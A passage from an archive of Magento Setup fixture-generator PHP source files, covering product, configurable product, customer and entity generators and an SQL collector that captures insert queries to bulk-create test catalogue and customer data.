Status::STATUS_ENABLED, 'website_ids' => [1], 'category_ids' => isset($this->fixture['category_ids']) ? [2] : null, 'weight' => 1, 'description' => 'description', 'short_description' => 'short description', 'tax_class_id' => 2, //'taxable goods', 'price_type' => \Magento\Bundle\Model\Product\Price::PRICE_TYPE_FIXED, 'price_view' => 1, 'stock_data' => [ 'use_config_manage_stock' => 1, 'qty' => 100500, 'is_qty_decimal' => 0, 'is_in_stock' => 1 ], 'can_save_bundle_selections' => true, 'affect_bundle_product_selections' => true, ] ]); $bundleProductOptions = []; $variationN = 0; for ($i = 1; $i <= $bundleOptions; $i++) { $option = $this->optionFactory->create(['data' => [ 'title' => 'Bundle Product Items ' . $i, 'default_title' => 'Bundle Product Items ' . $i, 'type' => 'select', 'required' => 1, 'delete' => '', 'position' => $bundleOptions - $i, 'option_id' => '', ]]); $option->setSku($bundleProduct->getSku()); $links = []; for ($linkN = 1; $linkN <= $bundleProductsPerOption; $linkN++) { $variationN++; $link = $this->linkFactory->create(['data' => [ 'sku' => sprintf($bundleVariationSkuPattern, $variationN), 'qty' => 1, 'can_change_qty' => 1, 'position' => $linkN - 1, 'price_type' => 0, 'price' => 0.0, 'option_id' => '', 'is_default' => $linkN === 1, ]]); $links[] = $link; } $option->setProductLinks($links); $bundleProductOptions[] = $option; } $extension = $bundleProduct->getExtensionAttributes(); $extension->setBundleProductOptions($bundleProductOptions); $bundleProduct->setExtensionAttributes($extension); // Need for set "has_options" field $bundleProduct->setBundleOptionsData($bundleProductOptions); $bundleSelections = array_map(function ($option) { return array_map(function ($link) { return $link->getData(); }, $option->getProductLinks()); }, $bundleProductOptions); $bundleProduct->setBundleSelectionsData($bundleSelections); return $bundleProduct; } } Magento/Setup/Model/FixtureGenerator/ProductGenerator.php000077700000031652151323623130017610 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; use Magento\Catalog\Api\Data\ProductInterface; use Magento\Catalog\Model\Product\Attribute\Source\Status; use Magento\Catalog\Model\ProductFactory; use Magento\Catalog\Model\ResourceModel\Category\CollectionFactory as CategoryCollectionFactory; use Magento\CatalogUrlRewrite\Model\ProductUrlPathGenerator; use Magento\Framework\Exception\LocalizedException; use Magento\Store\Model\ResourceModel\Store\CollectionFactory as StoreCollectionFactory; use Magento\Store\Model\ScopeInterface; use Magento\Framework\App\Config\ScopeConfigInterface; use Magento\Store\Model\StoreManagerInterface; use Magento\UrlRewrite\Service\V1\Data\UrlRewriteFactory; /** * Generate specified amount of products based on passed fixture * Fixture must return at least name and sku for new generated product: * [ * 'name' => function ($entityId, $entityIndex) {return 'Product Name' . $entityIndex}, * 'sku' => function ($entityId, $entityIndex) {return 'Product Sku' . $entityIndex}, * ] * And optional parameters (by default will be populated with default values) * [ * 'attribute_set_id' => value or callback in format function ($entityId, $entityIndex) {return attribute_id} * 'additional_attributes' => callback in format function ($entityId, $entityIndex) {return [attribute => value]} * 'url_key' => callback in format function ($entityId, $entityIndex) {return url_key} * 'website_ids' => callback in format function ($entityId, $entityIndex) {return [website_id]} * 'status' => value or callback in format function ($entityId, $entityIndex) {return status} * 'price' => value or callback in format function ($entityId, $entityIndex) {return price} * 'description' => value or callback in format function ($entityId, $entityIndex) {return description} * 'short_description' => value or callback in format function ($entityId, $entityIndex) {return short_description} * 'category_ids' => callback in format function ($entityId, $entityIndex) {return category_ids} * 'type_id' => value or callback in format function ($entityId, $entityIndex) {return type_id} * 'meta_keyword' => value or callback in format function ($entityId, $entityIndex) {return meta_keyword} * 'meta_title' => value or callback in format function ($entityId, $entityIndex) {return meta_title} * ] * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class ProductGenerator { /** * @var ProductFactory */ private $productFactory; /** * @var CategoryCollectionFactory */ private $categoryCollectionFactory; /** * @var UrlRewriteFactory */ private $urlRewriteFactory; /** * @var StoreCollectionFactory */ private $storeCollectionFactory; /** * @var array */ private $categories = []; /** * @var array */ private $storesPerWebsite = []; /** * @var EntityGeneratorFactory */ private $entityGeneratorFactory; /** * @var StoreManagerInterface */ private $storeManager; /** * @var ProductTemplateGeneratorFactory */ private $productTemplateGeneratorFactory; /** * @var array */ private $productUrlSuffix = []; /** * @var ScopeConfigInterface */ private $scopeConfig; /** * @var array */ private $customTableMap; /** * @param ProductFactory $productFactory * @param CategoryCollectionFactory $categoryCollectionFactory * @param UrlRewriteFactory $urlRewriteFactory * @param StoreCollectionFactory $storeCollectionFactory * @param EntityGeneratorFactory $entityGeneratorFactory * @param StoreManagerInterface $storeManager * @param ProductTemplateGeneratorFactory $productTemplateGeneratorFactory * @param ScopeConfigInterface $scopeConfig * @param array $customTableMap */ public function __construct( ProductFactory $productFactory, CategoryCollectionFactory $categoryCollectionFactory, UrlRewriteFactory $urlRewriteFactory, StoreCollectionFactory $storeCollectionFactory, EntityGeneratorFactory $entityGeneratorFactory, StoreManagerInterface $storeManager, ProductTemplateGeneratorFactory $productTemplateGeneratorFactory, ScopeConfigInterface $scopeConfig, $customTableMap = [] ) { $this->productFactory = $productFactory; $this->categoryCollectionFactory = $categoryCollectionFactory; $this->urlRewriteFactory = $urlRewriteFactory; $this->storeCollectionFactory = $storeCollectionFactory; $this->entityGeneratorFactory = $entityGeneratorFactory; $this->storeManager = $storeManager; $this->productTemplateGeneratorFactory = $productTemplateGeneratorFactory; $this->scopeConfig = $scopeConfig; $this->customTableMap = $customTableMap; } /** * Generate simple products * * @param int $products * @param array $fixtureMap * @return void */ public function generate($products, $fixtureMap) { $this->initializeFixtureDefaultValues($fixtureMap); $attributeSets = []; // prepare attribute sets distribution for save products per attribute set for ($productNumber = 1; $productNumber <= $products; $productNumber++) { $attributeSetId = $this->getFixtureValue('attribute_set_id', $productNumber, $productNumber, $fixtureMap); if (!isset($attributeSets[$attributeSetId])) { $attributeSets[$attributeSetId] = 0; } $attributeSets[$attributeSetId]++; } $customTableMap = [ 'url_rewrite' => [ 'entity_id_field' => 'entity_id', 'handler' => function ($productId, $entityNumber, $fixture) { return $this->urlRewriteHandler($productId, $entityNumber, $fixture); }, ], 'catalog_category_product' => [ 'fields' => [ 'category_id' => 'category_ids', ], ], 'catalog_product_entity' => [ 'fields' => [ 'attribute_set_id' => 'attribute_set_id', 'sku' => 'sku', ], ], ]; $websiteIdsFixtures = $fixtureMap['website_ids'](1, 0); if (is_array($websiteIdsFixtures) && count($websiteIdsFixtures) === 1) { // Get website id from fixture in case when one site is assigned per product $customTableMap['catalog_product_website'] = [ 'fields' => [ 'website_id' => 'website_ids', ] ]; } $generator = $this->entityGeneratorFactory->create( [ 'entityType' => ProductInterface::class, 'customTableMap' => array_merge($customTableMap, $this->customTableMap) ] ); foreach ($attributeSets as $attributeSetId => $productsAmount) { $fixtureMap = array_merge($fixtureMap, ['attribute_set_id' => $attributeSetId]); $generator->generate( $this->productTemplateGeneratorFactory->create($fixtureMap), $productsAmount, function ($productNumber, $entityNumber) use ($attributeSetId, $fixtureMap) { // add additional attributes to fixture for fulfill it during product generation return array_merge( $fixtureMap, $fixtureMap['additional_attributes']($attributeSetId, $productNumber, $entityNumber) ); } ); } } /** * Initialize fixture default values * * @param array $fixture * @return void */ private function initializeFixtureDefaultValues(array &$fixture) { $defaultValues = [ 'attribute_set_id' => function () { return $this->productFactory->create()->getDefaultAttributeSetId(); }, 'additional_attributes' => function () { return []; }, 'url_key' => function ($productId, $entityNumber) use ($fixture) { return strtolower(str_replace(' ', '-', $fixture['sku']($productId, $entityNumber))); }, 'website_ids' => function () { return $this->storeManager->getDefaultStoreView()->getWebsiteId(); }, 'status' => Status::STATUS_ENABLED, ]; foreach ($defaultValues as $fixtureKey => $value) { if (!isset($fixture[$fixtureKey])) { $fixture[$fixtureKey] = $value; } } } /** * Get fixture value * * @param string $fixtureKey * @param int $productId * @param int $entityNumber * @param array $fixtureMap * @return mixed|string */ private function getFixtureValue($fixtureKey, $productId, $entityNumber, $fixtureMap) { $fixtureValue = isset($fixtureMap[$fixtureKey]) ? $fixtureMap[$fixtureKey] : null; return $fixtureValue ? $this->getBindValue($fixtureValue, $productId, $entityNumber) : ''; } /** * Get bind value * * @param callable|mixed $fixtureValue * @param int $productId * @param int $entityNumber * @return mixed */ private function getBindValue($fixtureValue, $productId, $entityNumber) { return is_callable($fixtureValue) ? $fixtureValue($productId, $entityNumber) : $fixtureValue; } /** * Handle generation sql query for url rewrite * * @param int $productId * @param int $entityNumber * @param array $fixtureMap * @return array * @throws LocalizedException */ private function urlRewriteHandler($productId, $entityNumber, $fixtureMap) { $binds = []; $websiteIds = $fixtureMap['website_ids']($productId, $entityNumber); $websiteIds = is_array($websiteIds) ? $websiteIds : [$websiteIds]; $bindPerStore = []; $requestPath = $this->getFixtureValue('url_key', $productId, $entityNumber, $fixtureMap); $targetPath = 'catalog/product/view/id/' . $productId; $urlRewrite = $this->urlRewriteFactory ->create() ->setRequestPath($requestPath) ->setTargetPath($targetPath) ->setEntityId($productId) ->setEntityType('product'); $binds[] = $urlRewrite->toArray(); if (isset($fixtureMap['category_ids']) && $this->isCategoryProductUrlRewriteGenerationEnabled()) { $categoryId = $fixtureMap['category_ids']($productId, $entityNumber); if (!isset($this->categories[$categoryId])) { $this->categories[$categoryId] = $this->categoryCollectionFactory ->create() ->addIdFilter($categoryId) ->addAttributeToSelect('url_path') ->getFirstItem() ->getUrlPath(); } $urlRewrite->setMetadata(['category_id' => $categoryId]) ->setRequestPath($this->categories[$categoryId] . '/' . $requestPath) ->setTargetPath($targetPath . '/category/' . $categoryId); $binds[] = $urlRewrite->toArray(); } foreach ($websiteIds as $websiteId) { if (!isset($this->storesPerWebsite[$websiteId])) { $this->storesPerWebsite[$websiteId] = $this->storeCollectionFactory ->create() ->addWebsiteFilter($websiteId) ->getAllIds(); } foreach ($binds as $bind) { foreach ($this->storesPerWebsite[$websiteId] as $storeId) { $bindWithStore = $bind; $bindWithStore['store_id'] = $storeId; $bindWithStore['request_path'] .= $this->getUrlSuffix($storeId); $bindPerStore[] = $bindWithStore; } } } return $bindPerStore; } /** * Get url suffix per store for product * * @param int $storeId * @return string */ private function getUrlSuffix($storeId) { if (!isset($this->productUrlSuffix[$storeId])) { $this->productUrlSuffix[$storeId] = $this->scopeConfig->getValue( ProductUrlPathGenerator::XML_PATH_PRODUCT_URL_SUFFIX, ScopeInterface::SCOPE_STORE, $storeId ); } return $this->productUrlSuffix[$storeId]; } /** * Check config value of generate_category_product_rewrites * * @return bool */ private function isCategoryProductUrlRewriteGenerationEnabled() { return (bool)$this->scopeConfig->getValue('catalog/seo/generate_category_product_rewrites'); } } Magento/Setup/Model/FixtureGenerator/EntityGenerator.php000077700000036726151323623130017453 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; use Magento\Framework\Exception\LocalizedException; use Magento\Framework\Exception\ValidatorException; /** * Entity generator. Support generation for flat and eav tables */ class EntityGenerator { const SQL_DEFAULT_BUNCH_AMOUNT = 1000; const SKIP_ENTITY_ID_BINDING = 'skip_entity_id_binding'; /** * @var array * [ * 'entity_id_field' => entity if field name which linked to entity table primary key * or SKIP_ENTITY_ID_BINDING for do not set entity_id during generation * 'handler' => function($entityId, $fixture, $binds) callback for process binding for custom table * 'fields' => [key name in fixture for process custom bindings, ...] * ] */ private $customTableMap; /** * entity table class name * * @var string */ private $entityType; /** * @var \Magento\Setup\Model\FixtureGenerator\SqlCollector */ private $sqlCollector; /** * @var \Magento\Framework\App\ResourceConnection */ private $resourceConnection; /** * @var \Magento\Eav\Model\ResourceModel\AttributeLoader */ private $attributeLoader; /** * @var \Magento\Eav\Api\Data\AttributeInterface[] */ private $attributes; /** * @var \Magento\Framework\DB\Adapter\AdapterInterface */ private $connection; /** * @var array */ private $tableToEntityIdMap; /** * @var string */ private $entityTable; /** * List of tables where entity id information is stored * * @var array */ private $primaryEntityIdTables; /** * @var \Magento\Framework\EntityManager\MetadataPool */ private $metadataPool; /** * @var \Magento\Framework\EntityManager\EntityMetadataInterface */ private $entityMetadata; /** * @var \Magento\Framework\EntityManager\Sequence\SequenceRegistry */ private $sequenceRegistry; /** * @var bool */ private $isMappingInitialized = false; /** * @var int */ private $bunchSize; /** * @param SqlCollector $sqlCollector * @param \Magento\Eav\Model\ResourceModel\AttributeLoader $attributeLoader * @param \Magento\Framework\App\ResourceConnection $resourceConnection * @param \Magento\Framework\EntityManager\MetadataPool $metadataPool * @param \Magento\Framework\EntityManager\Sequence\SequenceRegistry $sequenceRegistry * @param string $entityType * @param array $customTableMap * @param int $bunchSize */ public function __construct( \Magento\Setup\Model\FixtureGenerator\SqlCollector $sqlCollector, \Magento\Eav\Model\ResourceModel\AttributeLoader $attributeLoader, \Magento\Framework\App\ResourceConnection $resourceConnection, \Magento\Framework\EntityManager\MetadataPool $metadataPool, \Magento\Framework\EntityManager\Sequence\SequenceRegistry $sequenceRegistry, $entityType, $customTableMap = [], $bunchSize = self::SQL_DEFAULT_BUNCH_AMOUNT ) { $this->sqlCollector = $sqlCollector; $this->resourceConnection = $resourceConnection; $this->attributeLoader = $attributeLoader; $this->metadataPool = $metadataPool; $this->sequenceRegistry = $sequenceRegistry; $this->customTableMap = $customTableMap; $this->entityType = $entityType; $this->bunchSize = (int)$bunchSize; } /** * Generate entities * * @param TemplateEntityGeneratorInterface $entityGenerator * @param int $entitiesAmount * @param callable $fixture * @throws LocalizedException * @return void */ public function generate(TemplateEntityGeneratorInterface $entityGenerator, $entitiesAmount, callable $fixture) { $this->getConnection()->beginTransaction(); try { $this->sqlCollector->enable(); $entity = $entityGenerator->generateEntity(); $this->sqlCollector->disable(); $entity->delete(); $this->getConnection()->commit(); } catch (\Exception $e) { $this->getConnection()->rollBack(); throw new LocalizedException( __('Cannot generate entities - error occurred during template creation: %1', $e->getMessage()), $e ); } $map = []; $processed = 0; $entitiesAmount = (int)$entitiesAmount; gc_disable(); for ($entityNumber = 0; $entityNumber < $entitiesAmount; $entityNumber++) { $processed++; $map = array_merge_recursive($map, $this->getSqlQueries($entity, $entityNumber, $fixture)); if ($processed % $this->bunchSize === 0 || $entityNumber === ($entitiesAmount - 1)) { $this->saveEntities($map); } } gc_enable(); } /** * Provide list of sql queries for create a new entity * * @param object $entity * @param int $entityNumber * @param callable $fixtureMap * @return array */ private function getSqlQueries($entity, $entityNumber, callable $fixtureMap) { $metadata = $this->getEntityMetadata(); $this->initializeMapping(); $entityId = $entity->getData($metadata->getIdentifierField()) + $entityNumber; $entityLinkId = $entity->getData($metadata->getLinkField()) + $entityNumber; $fixtureMap = $fixtureMap($entityId, $entityNumber); $sql = []; foreach ($this->sqlCollector->getSql() as $pattern) { list($binds, $table) = $pattern; if (!isset($sql[$table])) { $sql[$table] = []; } foreach ($binds as &$bind) { if ($table === $this->getEntityTable()) { $bind[$metadata->getLinkField()] = $entityLinkId; $bind[$metadata->getIdentifierField()] = $entityId; } if ($bind) { $this->setNewBindValue($entityId, $entityNumber, $table, $bind, $fixtureMap); } if (self::SKIP_ENTITY_ID_BINDING === $this->getEntityIdField($table)) { continue; } if ($this->getEntityIdField($table) === $metadata->getLinkField()) { $bind[$this->getEntityIdField($table)] = $entityLinkId; } else { $bind[$this->getEntityIdField($table)] = $entityId; } } $binds = $this->bindWithCustomHandler($table, $entityId, $entityNumber, $fixtureMap, $binds); $sql[$table] = array_merge($sql[$table], $binds); } return $sql; } /** * If custom handler passed for table then override binds with it * * @param string $table * @param int $entityId * @param int $entityNumber * @param array $fixtureMap * @param array $binds * @return array */ private function bindWithCustomHandler($table, $entityId, $entityNumber, $fixtureMap, $binds) { if (isset($this->customTableMap[$table]['handler']) && is_callable($this->customTableMap[$table]['handler']) ) { $binds = $this->customTableMap[$table]['handler']($entityId, $entityNumber, $fixtureMap, $binds); } return $binds; } /** * Save entities to DB and reset entities holder * * @param array $map * @return void * @throws LocalizedException */ private function saveEntities(array &$map) { $this->getConnection()->beginTransaction(); try { foreach ($map as $table => $data) { $this->getConnection()->insertMultiple($table, $data); } $this->getConnection()->commit(); } catch (\Exception $e) { $this->getConnection()->rollBack(); throw new LocalizedException( __('Cannot save entity. Error occurred: %1', $e->getMessage()), $e ); } $map = []; } /** * @return \Magento\Framework\DB\Adapter\AdapterInterface */ private function getConnection() { if (null === $this->connection) { $this->connection = $this->resourceConnection->getConnection(); } return $this->connection; } /** * @return \Magento\Framework\EntityManager\EntityMetadataInterface */ private function getEntityMetadata() { if (null === $this->entityMetadata) { $this->entityMetadata = $this->metadataPool->getMetadata($this->entityType); } return $this->entityMetadata; } /** * Get entity table name * * @return string */ private function getEntityTable() { if (null === $this->entityTable) { $this->entityTable = $this->getEntityMetadata()->getEntityTable(); } return $this->entityTable; } /** * Get field name for specific table where stored link to primary key of entity table * Find field by FK to entity table * * @param string $table * @return string * @throws ValidatorException */ private function getEntityIdField($table) { if (!isset($this->tableToEntityIdMap[$table])) { $foreignKey = null; foreach ($this->primaryEntityIdTables as $primaryTable) { $foreignKey = array_filter( $this->getConnection()->getForeignKeys($table), function ($ddl) use ($primaryTable) { return $ddl['REF_TABLE_NAME'] === $primaryTable && $ddl['REF_COLUMN_NAME'] === $this->getEntityIdField($primaryTable); } ); if ($foreignKey) { break; } } if (!$foreignKey) { throw new ValidatorException( __('The entity ID field for the "%1" table wasn\'t found. Verify the field and try again.', $table) ); } $this->tableToEntityIdMap[$table] = current($foreignKey)['COLUMN_NAME']; } return $this->tableToEntityIdMap[$table]; } /** * Initialize map between table and entity id and convert table name to valid table name * * @return void * @throws ValidatorException */ private function initializeMapping() { if (!$this->isMappingInitialized) { $this->isMappingInitialized = true; $this->initCustomTables(); $this->primaryEntityIdTables = [ $this->getEntityMetadata()->getEntityTable() ]; $entitySequence = $this->sequenceRegistry->retrieve($this->entityType); if (isset($entitySequence['sequenceTable'])) { $this->primaryEntityIdTables[] = $this->resourceConnection->getTableName( $entitySequence['sequenceTable'] ); } foreach ($this->primaryEntityIdTables as $table) { $ddl = array_filter( $this->getConnection()->describeTable($table), function ($data) { return $data['PRIMARY'] === true; } ); if (!$ddl) { throw new ValidatorException( __('The primary key for the "%1" table wasn\'t found. Verify the key and try again.', $table) ); } $this->tableToEntityIdMap[$table] = current($ddl)['COLUMN_NAME']; } } } /** * Rebind table name with real name, initialize table map for tables without foreign key to entity table * * @return void */ private function initCustomTables() { $customTableData = [ 'entity_id_field' => null, 'handler' => null, 'fields' => [], ]; $customTableMap = []; foreach ($this->customTableMap as $table => $data) { $table = $this->resourceConnection->getTableName($table); $data = array_merge($customTableData, $data); $customTableMap[$table] = $data; if ($data['entity_id_field']) { $this->tableToEntityIdMap[$table] = $data['entity_id_field']; } } $this->customTableMap = $customTableMap; } /** * Get EAV attributes metadata for non-static attributes * * @return array */ private function getAttributesMetadata() { if (null === $this->attributes) { foreach ($this->attributeLoader->getAttributes($this->entityType) as $attribute) { if ($attribute->isStatic()) { continue; } $this->attributes[$attribute->getBackendTable()][$attribute->getAttributeCode()] = [ 'value_field' => 'value', 'link_field' => 'attribute_id', 'attribute_id' => $attribute->getAttributeId(), ]; } } return $this->attributes; } /** * Set new bind value for new record * * @param int $entityId * @param int $entityNumber * @param string $table * @param array $bind * @param array $fixtureMap * * @return void */ private function setNewBindValue($entityId, $entityNumber, $table, array &$bind, array $fixtureMap) { $attributes = $this->getAttributesMetadata(); if (isset($attributes[$table])) { // Process binding new value for eav attributes foreach ($fixtureMap as $fixtureField => $fixture) { if (!isset($attributes[$table][$fixtureField])) { continue; } $attribute = $attributes[$table][$fixtureField]; if (isset($bind[$attribute['link_field']]) && $bind[$attribute['link_field']] === $attribute[$attribute['link_field']] ) { $bind[$attribute['value_field']] = $this->getBindValue($fixture, $entityId, $entityNumber); break; } } } elseif (isset($this->customTableMap[$table])) { foreach ($this->customTableMap[$table]['fields'] as $field => $fixtureField) { $bind[$field] = $this->getFixtureValue($fixtureField, $entityId, $entityNumber, $fixtureMap); } } } /** * @param string $fixtureField * @param int $entityId * @param int $entityNumber * @param array $fixtureMap * @return mixed|string */ private function getFixtureValue($fixtureField, $entityId, $entityNumber, array $fixtureMap) { $fixture = isset($fixtureMap[$fixtureField]) ? $fixtureMap[$fixtureField] : null; return $fixture ? $this->getBindValue($fixture, $entityId, $entityNumber) : ''; } /** * @param callable|mixed $fixture * @param int $entityId * @param int $entityNumber * @return string */ private function getBindValue($fixture, $entityId, $entityNumber) { $bindValue = is_callable($fixture) ? call_user_func($fixture, $entityId, $entityNumber) : $fixture; return is_array($bindValue) ? array_shift($bindValue) : $bindValue; } } Magento/Setup/Model/FixtureGenerator/ConfigurableProductTemplateGenerator.php000077700000013044151323623130023620 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; use Magento\Catalog\Api\Data\ProductInterface; use Magento\Catalog\Model\Product\Attribute\Source\Status; use Magento\Catalog\Model\Product\Visibility; use Magento\Catalog\Model\ProductFactory; use Magento\ConfigurableProduct\Helper\Product\Options\Factory as OptionFactory; use Magento\ConfigurableProduct\Model\Product\Type\Configurable; use Magento\Framework\App\ResourceConnection; /** * Configurable product template generator. Return newly created configurable product for specified attribute set * with default values for product attributes */ class ConfigurableProductTemplateGenerator implements TemplateEntityGeneratorInterface { /** * @var array */ private $fixture; /** * @var ProductFactory */ private $productFactory; /** * @var OptionFactory */ private $optionFactory; /** * @var ResourceConnection */ private $resourceConnection; /** * @param ProductFactory $productFactory * @param array $fixture * @param OptionFactory $optionFactory * @param ResourceConnection $resourceConnection */ public function __construct( ProductFactory $productFactory, array $fixture, OptionFactory $optionFactory, ResourceConnection $resourceConnection ) { $this->fixture = $fixture; $this->productFactory = $productFactory; $this->optionFactory = $optionFactory; $this->resourceConnection = $resourceConnection; } /** * {@inheritdoc} */ public function generateEntity() { $attributeSet = $this->fixture['attribute_set_id']; $product = $this->getProductTemplate($attributeSet); $product->save(); return $product; } /** * Get product template * * @param int $attributeSet * @return ProductInterface */ private function getProductTemplate($attributeSet) { $productRandomizerNumber = crc32(random_int(1, PHP_INT_MAX)); $product = $this->productFactory->create([ 'data' => [ 'attribute_set_id' => $attributeSet, 'type_id' => Configurable::TYPE_CODE, 'name' => 'template name' . $productRandomizerNumber, 'url_key' => 'template-url' . $productRandomizerNumber, 'sku' => 'template_sku_configurable' . $productRandomizerNumber, 'meta_description' => 'Configurable Product', 'meta_keyword' => $productRandomizerNumber, 'meta_title' => $productRandomizerNumber, 'price' => 10, 'visibility' => Visibility::VISIBILITY_BOTH, 'status' => Status::STATUS_ENABLED, 'website_ids' => (array)$this->fixture['website_ids'](1, 0), 'category_ids' => isset($this->fixture['category_ids']) ? [2] : null, 'weight' => 1, 'description' => 'description', 'short_description' => 'short description', 'tax_class_id' => 2, //'taxable goods', 'stock_data' => [ 'use_config_manage_stock' => 1, 'qty' => 100500, 'is_qty_decimal' => 0, 'is_in_stock' => 1 ], // Need for set "has_options" field 'can_save_configurable_attributes' => true, 'configurable_attributes_data' => $this->fixture['_attributes'], ] ]); $attributes = []; foreach ($this->fixture['_attributes'] as $index => $attribute) { $attributeValues = []; foreach ($attribute['values'] as $value) { $attributeValues[] = [ 'label' => $attribute['name'], 'attribute_id' => $attribute['id'], 'value_index' => $value ]; } $attributes[] = [ 'attribute_id' => $attribute['id'], 'code' => $attribute['name'], 'label' => $attribute['name'], 'position' => $index, 'values' => $attributeValues, ]; } $configurableOptions = $this->optionFactory->create($attributes); $extensionConfigurableAttributes = $product->getExtensionAttributes(); $extensionConfigurableAttributes->setConfigurableProductOptions($configurableOptions); $extensionConfigurableAttributes->setConfigurableProductLinks($this->getAssociatedProductIds()); $product->setExtensionAttributes($extensionConfigurableAttributes); return $product; } /** * Get configurable variation ids. Retrieve first simple product id by sku pattern from DB and generate next values * for all variations * * @return array */ private function getAssociatedProductIds() { $associatedProductIds = []; $connection = $this->resourceConnection->getConnection(); $firstSimpleProductId = $connection->fetchRow( $connection->select() ->from($this->resourceConnection->getTableName('catalog_product_entity')) ->where('sku = ?', $this->fixture['_variation_sku_pattern']) )['entity_id']; for ($i = 0; $i < $this->fixture['_variation_count']; $i++) { $associatedProductIds[] = $firstSimpleProductId + $i; } return $associatedProductIds; } } Magento/Setup/Model/FixtureGenerator/CustomerGenerator.php000077700000011163151323623130017764 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; use Magento\Customer\Api\Data\CustomerInterface; /** * Customer generator */ class CustomerGenerator { /** * @var EntityGeneratorFactory */ private $entityGeneratorFactory; /** * @var CustomerTemplateGenerator */ private $customerTemplateGenerator; /** * @var \Magento\Framework\App\ResourceConnection */ private $resourceConnection; /** * @var \Magento\Framework\DB\Adapter\AdapterInterface */ private $connection; /** * @param EntityGeneratorFactory $entityGeneratorFactory * @param CustomerTemplateGenerator $customerTemplateGenerator * @param \Magento\Framework\App\ResourceConnection $resourceConnection */ public function __construct( EntityGeneratorFactory $entityGeneratorFactory, CustomerTemplateGenerator $customerTemplateGenerator, \Magento\Framework\App\ResourceConnection $resourceConnection ) { $this->entityGeneratorFactory = $entityGeneratorFactory; $this->customerTemplateGenerator = $customerTemplateGenerator; $this->resourceConnection = $resourceConnection; } /** * Generate entities * * @param int $customers * @param array $fixtureMap * @return void */ public function generate($customers, array $fixtureMap) { $this->entityGeneratorFactory ->create([ 'entityType' => CustomerInterface::class, 'customTableMap' => [ 'customer_entity' => [ 'handler' => $this->getCustomerEntityHandler() ], 'customer_address_entity' => [ 'handler' => $this->getCustomerAddressEntityHandler() ] ], ])->generate( $this->customerTemplateGenerator, $customers, function ($customerId) use ($fixtureMap) { $fixtureMap['customer_data'] = call_user_func($fixtureMap['customer_data'], $customerId); return $fixtureMap; } ); $this->addDefaultAddresses(); } /** * Creates closure that is used * to replace default customer data with data from fixture * * @SuppressWarnings(PHPMD.UnusedLocalVariable) * @return \Closure */ private function getCustomerEntityHandler() { return function ($entityId, $entityNumber, $fixtureMap, $binds) { return array_map( 'array_merge', $binds, array_fill(0, count($binds), $fixtureMap['customer_data']['customer']) ); }; } /** * Creates closure that is used * to replace default customer address data with data from fixture * * @SuppressWarnings(PHPMD.UnusedLocalVariable) * @return \Closure */ private function getCustomerAddressEntityHandler() { return function ($entityId, $entityNumber, $fixtureMap, $binds) { return array_map( 'array_merge', array_fill(0, count($fixtureMap['customer_data']['addresses']), reset($binds)), $fixtureMap['customer_data']['addresses'] ); }; } /** * Set default billing and shipping addresses for customer * * @return void */ private function addDefaultAddresses() { $this->getConnection()->query( sprintf( ' update `%s` customer join ( select parent_id, min(entity_id) as min, max(entity_id) as max from `%s` group by parent_id ) customer_address on customer_address.parent_id = customer.entity_id set customer.default_billing = customer_address.min, customer.default_shipping = customer_address.max ', $this->resourceConnection->getTableName('customer_entity'), $this->resourceConnection->getTableName('customer_address_entity') ) ); } /** * @return \Magento\Framework\DB\Adapter\AdapterInterface */ private function getConnection() { if (null === $this->connection) { $this->connection = $this->resourceConnection->getConnection(); } return $this->connection; } } Magento/Setup/Model/FixtureGenerator/SqlCollector.php000077700000010116151323623130016717 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\FixtureGenerator; use Magento\Framework\App\ResourceConnection; use Magento\Framework\DB\Profiler; /** * Collect insert queries for quick entity generation */ class SqlCollector { /** * @var ResourceConnection */ private $resourceConnection; /** * @var array */ private $sql = []; /** * @var \Zend_Db_Profiler */ private $profiler; /** * @param ResourceConnection $resourceConnection */ public function __construct(ResourceConnection $resourceConnection) { $this->resourceConnection = $resourceConnection; } /** * @param string $sql * @param array $bind * @return void */ private function addSql($sql, $bind) { preg_match('~(?:INSERT|REPLACE)\s+(?:IGNORE)?\s*INTO `(.*)` \((.*)\) VALUES (\(.*\))+~', $sql, $queryMatches); if ($queryMatches) { $table = $queryMatches[1]; $fields = preg_replace('~[\s+`]+~', '', $queryMatches[2]); $fields = $fields ? explode(',', $fields) : []; $sqlBindGroupAmount = count(explode('), (', $queryMatches[3])); preg_match(' ~\((.*?)\)~', $queryMatches[3], $sqlBind); $sqlBind = preg_replace(['~,\s*~', '~\'~'], [',', ''], $sqlBind[1]); $sqlBind = $sqlBind ? explode(',', $sqlBind) : []; $binds = []; // process multi queries if ($sqlBindGroupAmount > 1) { $valuesCount = count($bind)/$sqlBindGroupAmount; for ($i = 0; $i < $sqlBindGroupAmount; $i++) { $binds[] = array_combine( $fields, $this->handleBindValues($sqlBind, $bind, $i * $valuesCount) ); } } else { $sqlBind = $this->handleBindValues($sqlBind, $bind); $binds[] = array_combine($fields, $sqlBind); } $this->sql[] = [$binds, $table]; } } /** * @param array $sqlBind * @param array $bind * @param int $bindPosition * @return array */ private function handleBindValues(array $sqlBind, array $bind, $bindPosition = 0) { $bind = array_values($bind); foreach ($sqlBind as $i => $fieldValue) { if ($fieldValue === '?') { $sqlBind[$i] = $bind[$bindPosition]; $bindPosition++; } } return $sqlBind; } /** * @return array */ public function getSql() { return $this->sql; } /** * Enable sql parsing * * @return void */ public function enable() { $this->sql = []; $this->getProfiler()->clear(); $this->getProfiler()->setEnabled(true); } /** * Disable sql parsing and collect all queries from profiler * * @return void */ public function disable() { $this->getProfiler()->setEnabled(false); $queries = $this->getProfiler()->getQueryProfiles() ?: []; foreach ($queries as $query) { if ($query->getQueryType() === Profiler::INSERT || $this->isReplaceQuery($query)) { // For generator we do not care about REPLACE query and can use INSERT instead // due to it's not support parallel execution $this->addSql($query->getQuery(), $query->getQueryParams()); } } } /** * Detect "REPLACE INTO ..." query. * * @param Profiler $query * @return bool */ private function isReplaceQuery($query) { return 